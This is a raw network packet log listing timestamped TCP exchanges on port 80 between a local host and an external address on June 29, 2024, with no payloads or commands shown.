Jun 29, 2024 08:05:07.591012955 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:07.591042042 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:07.591063023 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:07.591089010 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:07.591133118 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:07.591165066 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:07.591188908 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:07.591208935 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:07.591238022 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:07.591285944 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:07.591769934 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:07.591823101 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:07.591845989 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:07.591869116 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:07.591917992 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:07.591950893 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:07.591970921 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:07.592005968 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:07.592022896 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:07.592056036 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:07.592075109 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:07.592097044 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:07.592693090 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:07.592745066 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:07.592766047 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:07.592797995 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:07.592844009 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:07.592869997 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:07.592901945 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:07.592935085 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:07.592953920 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:07.593002081 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:07.593538046 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:07.593583107 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:07.593611002 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:07.593660116 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:07.593683004 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:07.593718052 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:07.593750954 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:07.593786955 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:07.593805075 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:07.594371080 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:07.594425917 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:07.594477892 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:07.594500065 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:07.594532013 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:07.594553947 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:07.594584942 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:07.594604969 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:07.594629049 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:07.595104933 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:07.595155954 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:07.595175982 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:07.595206022 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:07.595226049 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:07.595251083 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:07.595299006 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:07.595329046 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:07.595350027 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:07.595371008 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:07.595415115 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:07.595458031 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:07.595473051 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:07.595500946 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:07.595519066 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:07.595566034 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:07.596251965 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:07.596326113 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:07.596354961 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:07.596405029 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:07.596426010 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:07.596458912 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:07.596508980 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:07.596543074 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:07.596590042 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:07.596949100 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:07.597007990 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:07.597022057 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:07.597059965 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:07.597088099 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:07.597121954 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:07.597142935 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:07.597172022 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:07.597194910 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:07.597225904 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:07.597244978 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:07.597265959 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:07.597769022 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:07.597819090 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:07.597840071 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:07.597883940 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:07.597910881 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:07.597944021 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:07.597963095 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:07.597990036 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:07.598014116 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:07.598061085 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:07.598546982 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:07.598578930 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:07.598598957 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:07.598622084 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:07.883621931 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:07.883693933 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:07.883723974 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:07.883780003 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:07.883802891 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:07.883836985 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:07.883857012 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:07.883888006 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:07.883908033 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:07.883958101 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:07.883996010 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:07.884026051 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:07.884048939 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:07.884068966 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:07.884115934 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:07.884149075 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:07.884169102 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:07.884201050 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:07.884218931 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:07.884251118 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:07.884272099 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:07.884290934 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:07.884321928 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:07.884380102 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:07.884838104 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:07.884891987 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:07.884912014 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:07.884962082 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:07.884983063 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:07.885015965 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:07.885035992 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:07.885065079 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:07.885087967 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:07.885138035 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:07.885585070 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:07.885638952 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:07.885657072 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:07.885704994 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:07.885729074 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:07.885761976 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:07.885782003 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:07.885816097 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:07.885845900 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:07.885878086 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:07.885896921 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:07.885926962 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:07.886478901 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:07.886533976 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:07.886564970 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:07.886620998 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:07.886635065 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:07.886666059 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:07.886689901 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:07.886722088 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:07.886742115 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:07.886770010 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:07.886794090 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:07.886843920 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:07.887291908 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:07.887342930 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:07.887362957 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:07.887413979 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:07.887447119 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:07.887470007 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:07.887501001 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:07.887523890 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:07.887556076 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:07.888246059 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:07.888274908 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:07.888298035 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:07.888318062 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:07.888348103 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:07.888382912 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:07.888402939 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:07.888434887 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:07.888452053 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:07.888503075 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:07.888530016 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:07.888581038 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:07.888988018 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:07.889039040 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:07.889059067 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:07.889091969 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:07.889111042 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:07.889142036 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:07.889164925 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:07.889199972 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:07.889220953 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:07.889247894 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:07.889942884 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:07.889971972 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:07.889995098 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:07.890013933 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:07.890060902 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:07.890105963 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:07.890125990 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:07.890156984 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:07.890176058 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:07.890209913 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:07.890229940 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:07.890258074 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:07.890275955 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:07.890326023 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:07.890670061 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:07.890723944 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:07.890749931 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:07.890780926 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:07.890808105 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:07.890829086 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:07.890829086 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:07.890865088 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:07.890897989 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:07.890933037 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:07.890950918 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:07.890966892 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:07.891087055 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:07.891612053 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:07.891639948 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:07.891665936 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:07.891685009 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:07.891730070 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:07.891762972 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:07.891782999 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:07.891808987 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:07.891834021 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:07.891865969 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:07.891886950 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:07.891916037 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:07.892395020 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:07.892446995 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:07.892466068 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:07.892519951 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:08.178020000 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:08.178086996 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:08.178102970 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:08.178131104 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:08.178157091 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:08.178196907 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:08.178225994 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:08.178246975 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:08.178273916 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:08.178308964 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:08.178328991 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:08.178352118 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:08.178600073 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:08.178632021 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:08.178661108 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:08.178680897 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:08.178708076 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:08.178740025 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:08.178772926 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:08.178795099 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:08.178823948 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:08.179122925 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:08.179152012 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:08.179174900 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:08.179193974 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:08.179241896 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:08.179276943 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:08.179297924 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:08.179322004 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:08.179347992 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:08.179383039 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:08.179403067 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:08.179434061 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:08.179972887 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:08.180026054 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:08.180046082 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:08.180104971 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:08.180124998 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:08.180151939 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:08.180176973 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:08.180210114 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:08.180234909 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:08.180253029 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:08.180280924 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:08.180334091 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:08.180876017 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:08.180927038 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:08.180948019 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:08.180994987 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:08.181020021 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:08.181054115 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:08.181077003 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:08.181099892 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:08.181127071 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:08.181180000 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:08.181715012 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:08.181766987 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:08.181787968 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:08.181812048 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:08.181855917 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:08.181890965 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:08.181919098 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:08.181940079 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:08.181966066 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:08.182169914 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:08.182673931 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:08.182723999 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:08.182746887 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:08.182785988 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:08.182812929 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:08.182847023 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:08.182879925 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:08.182899952 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:08.182925940 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:08.183609009 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:08.183638096 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:08.183665991 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:08.183686972 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:08.183712959 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:08.183753967 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:08.183768034 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:08.183796883 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:08.183819056 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:08.183854103 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:08.183866024 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:08.183897972 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:08.184312105 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:08.184340000 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:08.184364080 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:08.184382915 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:08.184429884 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:08.184463978 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:08.184529066 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:08.184529066 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:08.184576035 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:08.184608936 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:08.184628963 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:08.184649944 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:08.185195923 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:08.185250044 CEST	49731	80	192.168.2.4	81.28.12.12
